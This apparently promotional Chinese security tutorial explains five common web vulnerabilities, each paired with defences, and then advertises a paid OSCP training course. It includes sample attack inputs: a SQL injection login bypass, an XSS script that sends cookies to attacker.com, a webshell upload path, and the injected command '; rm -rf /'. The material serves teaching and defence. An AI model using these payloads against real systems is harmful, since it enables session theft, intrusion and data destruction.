弱口令与密码安全问题
THINKMO
01
暴力破解登录(Weak Password Attack)
在某次渗透测试中,测试人员发现一个网站的后台管理系统使用了非常简单的密码 admin123,而且用户名也是常见的 admin。那么攻击者就可以通过暴力破解工具,使用最简单的字典攻击方式遍历尝试大量常见密码,这么简单的密码,攻击者几乎可以瞬间测试成功,然后登录到你们的后台。
那么攻击者测试出密码之后,危害自然是不言而喻的。
危害
攻击者可以通过后台访问和控制系统,执行任意操作,包括删除数据、篡改网站内容、盗取用户数据等。
而且一旦获取了管理员权限,攻击者可能进一步执行恶意代码,甚至对整个服务器进行控制。
如何防护?
1.使用复杂密码:密码应该包含字母、数字和特殊符号,长度建议不少于12位。
2.启用多因素认证(MFA):即使密码泄露,攻击者也无法轻易突破。
3.定期更新密码:定期更新密码,避免长期使用同一密码。
SQL注入(SQL lnjection)
THINKMO
02
02
使用SQL注入攻击获取用户信息
某电商平台存在一个用户登录接口,用户的用户名和密码通过 URL 参数传递给后端进行查询。攻击者构造恶意 URL,比如使用常见的 ' OR '1'='1 作为用户名和密码传入:
http://example.com/login?username=admin' OR '1'='1'&password=' OR '1'='1
那么后台的 SQL 查询语句就是这样构造的:
SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = '';
由于 '1'='1' 始终为真,查询结果将返回所有用户的数据,这就意味着攻击者可以拿到这个用户的密码。
危害
攻击者可以窃取到所有用户的信息,包括用户名、密码和其他敏感数据。
对于攻击者拿到的用户如果没有有效的权限控制,攻击者甚至可以篡改数据库内容,删除或添加数据。
防护要点
1.使用预处理语句(Prepared Statements):例如在 PHP 中使用 PDO 或 MySQLi 来执行 SQL 查询,防止 SQL 注入。
示例:
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username AND password = :password");
$stmt->execute(['username' => $username, 'password' => $password]);
2.输入验证和过滤:确保用户输入的数据经过过滤和转义,特别是特殊字符(如 '、"、--)需要转义。
跨站脚本攻击(XSS)
THINKMO
03
03
恶意脚本窃取用户Cookie
某社交网站允许用户输入自己的昵称和个人签名,并在页面上显示出来。攻击者在昵称输入框中输入如下内容:
<script>document.location='http://attacker.com?cookie=' + document.cookie;</script>
当正常用户访问该页面时,嵌入的 JavaScript 脚本会执行,将用户的 Cookie 信息发送到攻击者指定的服务器上,攻击者就能窃取到用户的登录信息。
危害
攻击者能够窃取用户的登录信息、会话 Token 等敏感信息。
若攻击者窃取到管理员的 Cookie,可能获得管理权限,导致系统被完全控制。
防护要点
1.输出编码:在将用户输入内容插入页面时,应该对输入内容进行 HTML 编码,防止脚本执行。
示例:使用 htmlspecialchars() 函数将特殊字符转义。
echo htmlspecialchars($user_input);
2.输入验证:对于所有用户输入的内容进行严格验证,尤其是脚本标签、<script>、<img>、<iframe> 等 HTML 标签。
3.启用 Content Security Policy(CSP):CSP 可限制浏览器加载脚本的来源,进一步减少 XSS 攻击的风险。
文件上传漏洞
THINKMO
04
04
上传WebShell获得服务器控制
某应用系统允许用户上传图片作为个人头像。攻击者通过上传一个恶意的 .php 文件(比如 shell.php),并通过修改文件扩展名使其看似正常的图片文件(如 .jpg),成功上传到服务器。
上传后的文件可以通过 URL 访问,比如攻击者通过访问 http://example.com/uploads/shell.php,从而获得服务器的控制权限。
危害
攻击者通过 WebShell 获得了对服务器的完全控制,可以执行任意命令,篡改文件、盗取数据或进行进一步的攻击。
可能导致数据泄露、业务中断或系统被黑客控制。
防护要点
1.限制文件类型:对上传的文件类型进行严格检查,仅允许上传特定类型的文件(如 .jpg、.png 等)。
2.文件名检查:对于上传文件的文件名进行验证,禁止包含特殊字符(如 .php、% 等)。
3.限制文件权限:确保上传的文件不具有执行权限,可以通过修改文件目录的权限来实现。
命令注入漏洞(Command Injection)
THINKMO
05
05
命令注入导致系统控制
某网站的管理后台提供了“服务器状态”查看功能,用户可以选择某个服务器并查询其状态。后台的实现代码直接将用户输入拼接到系统命令中:
ping -c 4 $user_input
攻击者通过输入 ; rm -rf /,成功将恶意命令注入:
ping -c 4 ; rm -rf /
该命令会首先执行 ping 操作,然后执行 rm -rf / 命令,删除服务器上的所有文件。
危害
攻击者可以在服务器上执行任意命令,可能导致系统崩溃或完全丧失数据。
如果攻击者具有足够的权限,还可以篡改系统配置,窃取敏感信息。
防护要点
1.禁止直接执行用户输入的命令:不要直接将用户输入用于构造系统命令。
2.输入验证与过滤:对用户输入进行严格的验证,确保只允许预期的输入类型。
3.最小权限原则:确保应用程序运行时的权限有限,避免执行敏感操作。
这几个是网络安全渗透测试中常见的漏洞,每一种漏洞都有独特的攻击方式,但是也都有防护措施,我们要理解和掌握这些漏洞的原理和防护技巧,从而才能用来攻击或者防御,这几种攻击是启蒙网络安全最基本的几个漏洞,有兴趣可以学习一下。
五、OSCP
OSCP是Kali官方推出的一个认证,没有要求考试的限制(成年即可),国际证书含金量 很高是业内红队最知名的渗透测试专业证书,相对来说获得难度也高,但是相对于没有基础想借考OSCP练基础能力、练渗透测试思维、练实战的人来说也是友好的,我就是当时直接从web开始基础没咋练,就借着这OSCP去扎实的练扎实的学,拿到这个OSCP也就是有红队中级的实力的,到时如果找工作的话就碾压同级拿nisp、cisp等等的,去考这些证书不如一步到位,因为泷羽sec的小羽要考所以泷哥就提前开了这OSCP培训课,但是因为各种靶场各种理论太费时间压力也很大所以才收费,但是价格也是很照顾我们了,那些机构1w+的培训费用,泷羽4000就可以,如果是学生的话提供证明还会优惠500,OSCP理论基础靶场加官方靶场200+将自己的能力真实的得到练习,从信息收集到最终的权限提升,独立机器环境、域环境全方位练习,小羽到时候先考,大家也不用慌张。现在nisp、cisp这些证书人手一个,现在最主要的就是拿到一个有竞争力的证书,与切实的技术与能力,否则在当前网络行业越来越多人涌入的环境下,我们后面的路只会更紧张,所以OSCP越早拿越好,越早拿越吃香(oscp题目难度每年也会提高),如果有想了解泷羽现在OSCP课程的可以联系我。
六、总
在这条道路上虽说走了两个半月,但是每天都在学习,每天都有收获都感受到自己的提升,执行力是决定未来的真正因素,从学习者到一名分享者,然后到最后的开拓者,这是一件非常有意义的事情,不管是为自己还是为国为家都要从这条路上付出努力,成就未来。如果你也正在这条路上前行,不妨互相认识一下,互相学习、互相成长,大家都有着一个共同的目标,向着一个方向共同的努力,那这样未来我国的网络安全行业终究有我们的一席之地!未来世界网络安全上也终究有中国的一席之地!
欢迎大家来认识我。